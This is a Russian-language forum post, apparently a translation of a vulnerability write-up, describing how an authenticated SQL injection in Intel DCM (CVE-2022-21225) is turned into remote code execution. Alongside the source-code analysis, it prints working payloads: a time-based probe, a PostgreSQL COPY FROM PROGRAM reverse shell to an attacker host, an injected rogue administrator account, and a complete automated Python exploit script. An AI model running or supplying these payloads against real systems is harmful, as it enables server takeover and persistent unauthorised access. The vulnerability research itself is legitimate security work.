• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья От нуля до героя, часть 2: от внедрения SQL до RCE на Intel DCM (CVE-2022-21225)

вавилонец

CPU register
Пользователь
Регистрация
17.06.2021
Сообщения
1 116
Реакции
1 265
dcm-sqli-9-2048x803.png


ОРИГИНАЛЬНАЯ СТАТЬЯ
ПЕРЕВЕДЕНО СПЕЦИАЛЬНО ДЛЯ xss.pro
$600 ---> bc1qhavqpqvfwasuhf53xnaypvqhhvz966upnk8zy7 для поддержания анонимной ноды ETHEREUM - main и тестов


Введение
Вам наверняка понравилась моя предыдущая заметка о том, как обойти механизм аутентификации Intel DCM для получения несанкционированного доступа. Это дало нам минимально возможные привилегии "Гость" в консоли DCM.
Во второй части мы покажем вам возможный способ получить удаленное выполнение кода на базовом хосте, используя аутентифицированную уязвимость SQL Injection, доступную с того же уровня "Гость". Саму SQL Injection легко использовать, но путь к ней был довольно ухабистым из-за нескольких ограничений, которые необходимо было обойти. Я представил эту ошибку через программу Intel по борьбе с ошибками и получил вознаграждение в размере 10 000 долларов. Intel присвоила CVE-2022-21225 и опубликовала собственное сообщение об этом. Однако они снова допустили ту же ошибку AV:A при подсчете балла CVSS для этой уязвимости, поэтому в моем сообщении указан другой балл - 9,9 (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H). Эксплойт нацелен на уязвимую версию 4.0.1.45257 Intel DCM, но затрагивает все версии ниже 4.1. Было введено исправление, по крайней мере, в версии 5.0.0.46307.



Пути к эксплуатации

Существует три требования для достижения пути к уязвимому коду:

  • В консоли должна быть настроена хотя бы одна (серверная) комната. Достижение уязвимого пути кода при свежей установке без комнаты невозможно.
  • Сервер должен хотя бы раз пройти временную отметку 14:30. Таким образом, если сервер был установлен в 14:31, вам нужно подождать еще 23 часа и 59 минут ИЛИ обмануть администратора, заставив его следовать определенным маршрутом (подробнее об этом в статье).
  • Сама уязвимость представляет собой аутентифицированную SQL-инъекцию. Аутентифицированный, в данном случае, означает, что эксплойт/запрос должен быть снабжен действительным JSESSIONID и действительным antiCSRFId. Однако даже гость с самой низкой привилегированной ролью может использовать эту SQL-инъекцию.
НАчинаем

DCM-консоль Intel имеет множество веб-маршрутов, поэтому давайте сначала изучим, где находится SQL-инъекция и как до нее добраться. Уязвимый сервлет называется com.intel.console.server.servlet.DataAccessServlet, который сопоставлен с различными шаблонами URL, как показано в файле web.xml DCM:
Код:
<servlet>
  <display-name>DataAccessServlet</display-name>
  <servlet-name>DataAccessServlet</servlet-name>
  <servlet-class>com.intel.console.server.servlet.DataAccessServlet</servlet-class>
</servlet>
[...]
<servlet-mapping>
  <servlet-name>DataAccessServlet</servlet-name>
  <url-pattern>/DataAccessServlet</url-pattern>
</servlet-mapping>
<servlet-mapping>
  <servlet-name>DataAccessServlet</servlet-name>
  <url-pattern>/data/*</url-pattern>
</servlet-mapping>
[...]

Сервлет имеет множество операций, которые могут быть вызваны путем добавления параметра action к запросу. Уязвимое действие вызывает getRoomRackData:

Код:
if (context.op.equals("getRoomRackData")) {
            return getRoomRackData(req, resp);
        }

Таким образом, запрос для запуска уязвимого метода в основном выглядит следующим образом:

Код:
https://[ip-address]:8643/DcmConsole/DataAccessServlet?action=getRoomRackData

Объявление соответствующего метода можно найти в классе com.intel.console.server.servlet.DataAccessServlet:

Код:
private String getRoomRackData(HttpServletRequest req, HttpServletResponse resp) throws IOException, ConsoleException, ConsoleStubException {
        RackData[] rackDatas;
        GetRoomRackDataRequestData reqData = null;
        JobContext context = getJobContext(req);
        if (context.jobRequest != null) {
            reqData = (GetRoomRackDataRequestData) context.jobRequest.getRequestObj();
        }
        if (reqData == null) {
            return errorResponse(resp, context, 0, "request data is empty or in invalid format");
        }
        JobResponse response = new JobResponse();
        int snapshotId = reqData.getSnapshotId();
        String dataName = reqData.getDataName();
        int roomId = reqData.getRoomId();
        if (reqData.getSnapshotId() == 0) {
            rackDatas = DataAccess.getRoomRackData(roomId, dataName);
            if (reqData.getAnalysisMode() == 2) {
                ServerPlacementResp result = (ServerPlacementResp) context.session.getAttribute("com.intel.dcm.server_placement");
                if (result == null) {
                    return errorResponse(resp, context, 0, "request data is empty or in invalid format");
                }
                LinkedList<ServerPlacement> lastRes = result.getPlacements();
                if (lastRes == null) {
                    return errorResponse(resp, context, 0, "request data is empty or in invalid format");
                }
                Iterator<ServerPlacement> it = lastRes.iterator();
                while (it.hasNext()) {
                    ServerPlacement sp = it.next();
                    int length = rackDatas.length;
                    int i = 0;
                    while (true) {
                        if (i < length) {
                            RackData rackData = rackDatas[i];
                            if (sp.getRackId() == rackData.getId()) {
                                rackData.setCapacity((int) sp.getSpaceCapacity());
                                rackData.setPowerCapacity((int) sp.getPowerCapacity());
                                rackData.setWeightCapacity((int) sp.getWeightCapacity());
                                if (dataName.equalsIgnoreCase("POWER_CAPACITY")) {
                                    rackData.setPowerCapPercentage(sp.getPowerCapacityUtil());
                                } else if (dataName.equalsIgnoreCase("PEAK_POWER_CAPACITY")) {
                                    rackData.setPowerPeakPercentage(sp.getPowerCapacityUtil());
                                } else if (dataName.equalsIgnoreCase("DERATED_POWER_CAPACITY")) {
                                    rackData.setPowerDeratedPercentage(sp.getPowerCapacityUtil());
                                } else if (dataName.equalsIgnoreCase("WEIGHT_CAPACITY")) {
                                    rackData.setWeightCapPercentage(sp.getWeightCapacityUtil());
                                }
                                rackData.setSpaceCapPercentage(sp.getSpaceCapacityUtil());
                            } else {
                                i++;
                            }
                        }
                    }
                }
            }
        } else {
            rackDatas = LayoutSnapshotManager.getInstance().getRoomRackData(snapshotId, roomId, dataName);
        }
[...]

Уязвимый участок кода расположен в строке 56 при создании экземпляра класса LayoutSnapshotManager. Запрос должен быть настроен со следующими параметрами:
  • A requestObj (line 6) JSON parameter
  • A snapshotId (line 12) JSON parameter within the requestObj
  • A dataName (line 13) JSON parameter within the requestObj.
  • A roomId (line 14) JSON parameter within the requestObj
Обратите внимание, что все эти параметры управляются пользователем, но только у одного (dataName) тип установлен как String. Именно этот параметр впоследствии используется без какой-либо санации в SQL-запросе.
Теперь, чтобы достичь уязвимого вызова метода в строке 56, необходимо пропустить условие if в строке 15 и вместо него использовать путь else. Это означает, что значение snapshotId должно быть любым, отличным от 0. Поэтому установка этого значения в 1 должна пройти проверку и перейти прямо к уязвимому методу:
Код:
{"antiCSRFId":"335178097BB201A86B82DDA03C561360","requestObj":{"snapshotId":1,"roomId":1,"dataName":"test"}}
Но этого еще недостаточно, поскольку требуется действительный snapshotId (но об этом подробнее позже):

1.png


Метод getRoomRackData() обрабатывается классом com.intel.console.server.dcModeling.LayoutSnapshotManager:

Код:
public RackData[] getRoomRackData(int snapshotId, int roomId, String rackDataType) throws ConsoleDbException {
        ResultSet res;
        PreparedStatement statement;
        Connection conn;
        LinkedList ret = new LinkedList<>();
        Integer[] rackIds = getRoomRackIds(snapshotId, roomId);
        if (rackIds.length == 0) {
            return new RackData[0];
        }
        StringBuilder sb = new StringBuilder(DefaultExpressionEngine.DEFAULT_INDEX_START);
        for (int i = 0; i < rackIds.length; i++) {
            if (i > 0) {
                sb.append(",");
            }
            sb.append(rackIds[i]);
        }
        sb.append(DefaultExpressionEngine.DEFAULT_INDEX_END);
        String rackIdsString = sb.toString();
        LinkedList propsList = new LinkedList<>();
        propsList.add("NAME");
        propsList.add("CABINETPDU");
        if (rackDataType.equals("POWER_CAPACITY")) {
            propsList.add("POWER_PERCENTAGE");
        } else if (rackDataType.equals("PEAK_POWER_CAPACITY")) {
            propsList.add("PEAK_POWER_PERCENTAGE");
        } else if (rackDataType.equals("DERATED_POWER_CAPACITY")) {
            propsList.add("DERATED_POWER_PERCENTAGE");
        } else if (rackDataType.equals("SPACE_CAPACITY")) {
            propsList.add("SPACE_PERCENTAGE");
        } else if (rackDataType.equals("WEIGHT_CAPACITY")) {
            propsList.add("WEIGHT_PERCENTAGE");
        } else {
            propsList.add("CAPACITY");
            propsList.add("POWERCAPACITY");
            propsList.add("WEIGHTCAPACITY");
            propsList.add("IT_EQUIPMENT_PWR");
            propsList.add(rackDataType);
        }
        StringBuilder sb2 = new StringBuilder(DefaultExpressionEngine.DEFAULT_INDEX_START);
        for (int i2 = 0; i2 < propsList.size(); i2++) {
            if (i2 > 0) {
                sb2.append(",");
            }
            sb2.append(OperatorName.SHOW_TEXT_LINE);
            sb2.append(propsList.get(i2));
            sb2.append(OperatorName.SHOW_TEXT_LINE);
        }
        try {
            sb2.append(DefaultExpressionEngine.DEFAULT_INDEX_END);
            String propsString = sb2.toString();
            conn = ConnectionProvider.getConnection();
            statement = null;
            res = null;
            try {
                statement = conn.prepareStatement("select entity_id, property_name, property_value from\"T_Entity_Snapshot\" where snapshot_id=? and entity_id in " + rackIdsString + " and property_name in " + propsString + " order by entity_id");
                statement.setInt(1, snapshotId);
                int lastId = -1;
                RackData rackData = null;
                res = statement.executeQuery();
[...]

Необходимо пройти проверку в строке 7, чтобы достичь SQL-запроса в строке 55. Для этого необходимо, чтобы была настроена хотя бы одна комната и присутствовал один снимок (строка 6). При успешном прохождении проверки, ранее упомянутый контролируемый пользователем параметр dataName (который передается в эту функцию как строка rackDataType) добавляется без санации в propsList (строка 37), соответственно, в экземпляр sb2 StringBuilder (строка 45). sb2 затем приводится к строке (строка 50) и объединяется в подготовленный запрос (строка 55). Это, кстати, отличный пример того, как не следует использовать подготовленные операторы ;-).
Однако на свежей установке DCM таблица snapshot пуста, что означает, что мы не сможем достичь уязвимого SQL-запроса, не передав условие if из строки 7:

2.png


Возьмем снимок (Id)

Итак, чтобы достичь уязвимого SQL-запроса, нам нужен "снимок", который определяется через snapshotId . Есть два основных способа его получить:

Первый вариант: Через веб-маршрут /V1/goto, взятый из web.xml:
Код:
<filter>

<display-name>RedirectFilter</display-name>

<filter-name>RedirectFilter</filter-name>

<filter-class>com.intel.console.server.login.RedirectFilter</filter-class>

</filter>

<filter-mapping>

<filter-name>RedirectFilter</filter-name>

<url-pattern>/V1/goto</url-pattern>

</filter-mapping>

Этот маршрут обрабатывается классом com.intel.console.server.login.RedirectFilter:
Код:
private static final Pattern entityPattern = Pattern.compile("entityid=(\\\d+)");

@Override // javax.servlet.Filter

public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {

int index;

HttpServletRequest httpRequest = (HttpServletRequest) request;

HttpServletResponse httpResponse = (HttpServletResponse) response;

String param = httpRequest.getQueryString();

if (param != null) {

HttpSession session = httpRequest.getSession();

String param2 = param.toLowerCase();

Matcher m = entityPattern.matcher(param2);

if (m.matches()) {

int entityId = Integer.valueOf(m.group(1)).intValue();

try {

IdName[] path = DcModel.getEntityPath(entityId);

String res = entityId + ",";

for (int i = 0; i < path.length; i++) {

if (i != 0) {

res = res + "_";

}

res = res + path[i].getId();

}

sessionPathMap.put(session.getId(), res);

} catch (Exception e) {

sessionPathMap.put(session.getId(), "0");

}

} else if ((param2.equals("takesnapshot") || param2.equals("tss")) && UserMgmtHandler.isAdminOrPowerUser(httpRequest)) {

LayoutSnapshotManager.getInstance().takeSnapshot();

}

}

String url = httpRequest.getRequestURI().replace("?", "");

if (!(url == null || (index = url.indexOf("goto")) == -1)) {

httpResponse.sendRedirect(url.substring(0, index));

}

}

Чтобы получить моментальный снимок, необходимо дойти до строки 29, которая вызывает метод takeSnapshot(). Чтобы добраться до нее, необходимо:
  • пройти проверку в строке 9, просто добавив HTTP-параметр
  • НЕ включать entityid (строка 13)
  • иметь пустой параметр запроса takesnapshot или tss (строка 28), а пользователь для этого должен иметь роль dcm_admin или dcm_poweruser.

Это означает, что злоумышленник должен обмануть администратора или опытного пользователя хотя бы один раз, чтобы посетить следующий URL:

https://[ip-adress]:8643/DcmConsole/V1/goto?takesnapshot

3.png


Это создаст нужный снимок:

4.png


Однако хакеры не любят обманывать пользователей, поэтому должен быть более простой способ, не так ли? К счастью, класс com.intel.console.server.dcModeling.LayoutSnapshotManager показывает нам еще один интересный маршрут, определяя SnapshotTimerTask, который также вызывает takeSnapshot()метод (строка 7):

Код:
public class SnapshotTimerTask extends TimerTask {
        SnapshotTimerTask() {
        }

        @Override // java.util.TimerTask, java.lang.Runnable
        public void run() {
            LayoutSnapshotManager.this.takeSnapshot();
            try {
                LayoutSnapshotManager.this.cleanExpiredSnapshots();
            } catch (ConsoleDbException e) {
                AppLogger.warn("cleanExpiredSnapshots return exception:" + e.getMessage());
            }
        }
    }

Это происходит так:

Код:
public synchronized void init() {
        int minute;
        int hour;
        String snapshotTime = Configuration.getProperty("SNAPSHOT_TIME");
        int splitPos = snapshotTime.indexOf(":");
        try {
        } catch (NumberFormatException e) {
            AppLogger.warn("Invalid snapshot time configuration:" + snapshotTime + ". Default time will be used.");
            hour = 14;
            minute = 30;
        }
        if (splitPos > 0) {
            hour = Integer.parseInt(snapshotTime.substring(0, splitPos));
            minute = Integer.parseInt(snapshotTime.substring(splitPos + 1, snapshotTime.length()));
            if (hour < 0 || hour >= 24 || minute < 0 || minute >= 60) {
                throw new NumberFormatException("invalid format");
            }
            Date now = new Date();
            Calendar executionTime = Calendar.getInstance();
            executionTime.set(11, hour);
            executionTime.set(12, minute);
            executionTime.set(13, 0);
            executionTime.set(14, 0);
            if (executionTime.getTime().before(now)) {
                executionTime.add(6, 1);
            }
            if (this.snapshotTimer == null) {
                this.snapshotTimer = new Timer("take_snapshot_timer");
                this.timerTask = new SnapshotTimerTask();
            }
            this.snapshotTimer.scheduleAtFixedRate(this.timerTask, executionTime.getTimeInMillis() - now.getTime(), 86400000);
            return;
        }
        throw new NumberFormatException("invalid format");
    }


Сначала выполняется попытка считать свойство SNAPSHOT_TIME из файла конфигурации console.config.xml (строка 4). Однако этот параметр отсутствует в стандартной установке Intel DCM в Windows и Linux. Это означает, что задача автоматически устанавливает час на 14 и минуту на 30 (строки 9-10 и 20-21), что в конечном итоге приводит к автоматическому выполнению задачи каждый день в 14:30:

5.png



Поэтому все, что нужно сделать злоумышленнику, это: дождаться, когда отметка 14:30 будет пройдена один раз.

Получение значений roomId и snapshotId

Для того чтобы функция getRoomRackIds() (строка 6) возвращала непустой целочисленный массив, также требуется действительный roomId:

Код:
public RackData[] getRoomRackData(int snapshotId, int roomId, String rackDataType) throws ConsoleDbException {
ResultSet res;
PreparedStatement statement;
Connection conn;
LinkedList ret = new LinkedList<>();
Integer[] rackIds = getRoomRackIds(snapshotId, roomId);
if (rackIds.length == 0) {
return new RackData[0];
}

Эти данные можно получить с помощью запроса к маршруту /DcmConsole/rest/rooms:

[ATTACH type="full" width="1533px"]50444[/ATTACH]

SnapshotId можно получить с помощью протокола /DcmConsole/DcModelServlet?action=getAllSnapshots:

[ATTACH type="full" width="1626px"]50445[/ATTACH]


Эксплуатация SQL-инъекции для удаленного выполнения кода

Используя ранее собранные значения roomId и snapshotId, теперь можно пройти проверку if (строка 7) и сконструировать полезную нагрузку SQL Injection в параметре dataName. Поскольку DCM использует PostgreSQL, простая команда PG_SLEEP может подтвердить инъекцию:
[CODE]
{"antiCSRFId":"0C39C25FF37ABE58191709BEDC62593B","requestObj":{"snapshotId":5,"roomId":12,"dataName":"test');SELECT PG_SLEEP(5)--"}}
Это приводит к сну базы данных на 5 секунд:

8.png


Злоупотребляя функциональностью стекированных запросов PostgreSQL, теперь также можно использовать родную команду COPY для выполнения произвольных команд. Сначала необходимо создать временную таблицу, используя следующую полезную нагрузку:

9.png


За ним следует хорошая полезная нагрузка обратной оболочки:
Код:
{"antiCSRFId": "0C39C25FF37ABE58191709BEDC62593B", "requestObj":{"snapshotId":5, "roomId":12, "dataName": "test");COPY cmd_exec FROM PROGRAM 'python3 -c ''import socket,subprocess,os;s=socket. socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"192.168.178.95\",1337));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn(\"sh\")'''';--"}}}

Что, в конце концов, позволяет получить shell...

10.png


…или даже более опасный calc.exe:

12.png


Bonus

Если RCE для вас слишком отстойный вариант, вот еще одна полезная нагрузка:

Код:
');insert into \"T_User\" values (5, 'mrtux','mrtux','d5cfdec3d4df48675960f62846228683e5f4c0d9201aeaedf81a7070b971be2f','CIXnGd3e6leBaN7IQYlpdJ69pMB9KiNz5rCBomG70ouJkLfYFziuRoey8LFwvi1HFNZhuV0L1lKEky93DZ88UhM+oTwinG7UrRPsDIt0Rrc=','hacked',0,null,null,0,0,0,null);--

13.png


Чтобы добавить нового администратора в DCM Intel:

14.png


Давайте автоматически взломаем его

Вот полный сценарий Python для автоматической эксплуатации этой проблемы, если злоумышленник имеет доступ к DCM Intel на уровне гостя:
Код:
import hashlib
import json

import requests
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

if __name__ == '__main__':
    ### FILL IN ###
    target = "https://127.0.0.1:8643"
    username = "guest"
    password = "Password0"

    # PUT single quotes into double-single-quotes to escape them
    # linux shell
    command = "python3 -c ''import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"192.168.178.27:1337\"));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn(\"sh\")''"

    # windows calc.exe
    #command = "powershell.exe Start-Process -FilePath \"c:\\Windows\\System32\\calc.exe\""

    ### DO NOT EDIT BELOW HERE ###

    # Get a valid roomId first
    print("Fetching a valid roomId: ", end="")
    url = target + "/DcmConsole/rest/rooms"
    headers = {
        "dcmUserName": username,
        "dcmUserPassword": password,
        "dcmAccountType": "0"
    }

    r = requests.get(url, headers=headers, verify=False)
    response = json.loads(r.content)
    roomId = response['content'][0]['id']
    print(str(roomId))

    # Get a valid snapshotId
    url = target+"/DcmConsole/DcModelServlet?action=getAllSnapshots"

    # Let's convert the password to be able to auth to the app and get the JSESSIONID and the antiCSRFId
    pwd_sha1 = hashlib.sha1(password.encode()).hexdigest()
    pwd_sha256 = (hashlib.sha256(pwd_sha1.encode()).hexdigest())

    url = target+"/DcmConsole/login/login"

    json_body = {
        "antiCSRFId": None,
        "requestObj": {
            "name": username,
            "password": pwd_sha256,
            "type":0
        }
    }

    print("Fetching a valid antiCSRFId: ", end="")
    r = requests.post(url, verify=False, json=json_body)
    response = json.loads(r.content.decode())
    antiCSRFId = response['responseObj']['sessionId']
    print(str(antiCSRFId))

    for item in r.cookies.items():
        jsessionid = item[1]

    # Let's create the cookies
    cookies = dict(JSESSIONID=jsessionid)

    # Get a valid snapshotId
    print("Searching for a valid snapshotId: ", end="")
    url = target+"/DcmConsole/DcModelServlet?action=getAllSnapshots"
    json_body = {
        "antiCSRFId":antiCSRFId,
        "requestObj":{
            "id": -1
        }
    }

    r = requests.post(url, verify=False, json=json_body, cookies=cookies)
    response = json.loads(r.content.decode())
    snapshotIds = response['responseObj']  #[0]['snapshotId']

    for snapshotId in snapshotIds:
        # test whether the snapshotId is bound to an actual room (aka the room must have existed before the snapshot creation)
        url = target + "/DcmConsole/DataAccessServlet?action=getRoomRackData"

        json_body = {
            "antiCSRFId": antiCSRFId,
            "requestObj": {
                "snapshotId": snapshotId['snapshotId'],
                "roomId": roomId,
                "dataName": "test"
            }
        }

        r = requests.post(url, verify=False, json=json_body, cookies=cookies)
        responseObj = json.loads(r.content)['responseObj']

        # Only proceed if the responseObj is not empty:
        if responseObj:
            snapshotId = snapshotId['snapshotId']
            print(str(snapshotId))
            break

    # Test if the target is vulnerable using PG_SLEEP
    url = target + "/DcmConsole/DataAccessServlet?action=getRoomRackData"

    json_body = {
        "antiCSRFId": antiCSRFId,
        "requestObj": {
            "snapshotId": snapshotId,
            "roomId": roomId,
            "dataName": "test');SELECT PG_SLEEP(5)--"
        }
    }

    print("Testing basic SQL-Injection using PG_SLEEP: ", end="")
    r = requests.post(url, verify=False, json=json_body, cookies=cookies)
    if r.elapsed.total_seconds() > 4.5:
        print("Target " + target + " is vulnerable")

        json_body = {
            "antiCSRFId": antiCSRFId,
            "requestObj": {
                "snapshotId": snapshotId,
                "roomId": roomId,
                "dataName": "test');CREATE TABLE cmd_exec(cmd_output text);--"
            }
        }

        r = requests.post(url, verify=False, json=json_body, cookies=cookies)
        if r.status_code == 200:

            print("Successfully injected cmd_exec table")

            json_body = {
                "antiCSRFId": antiCSRFId,
                "requestObj": {
                    "snapshotId": snapshotId,
                    "roomId": roomId,
                    "dataName": "test');COPY cmd_exec FROM PROGRAM '" + command +"';--"
                }
            }
            print("Triggering command!")
            r = requests.post(url, verify=False, json=json_body, cookies=cookies)
    else:
        print("Target " + target + " doesn't look vulnerable")
 

Вложения

  • 6.png
    6.png
    45.2 КБ · Просмотры: 12
  • 7.png
    7.png
    44.7 КБ · Просмотры: 14


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх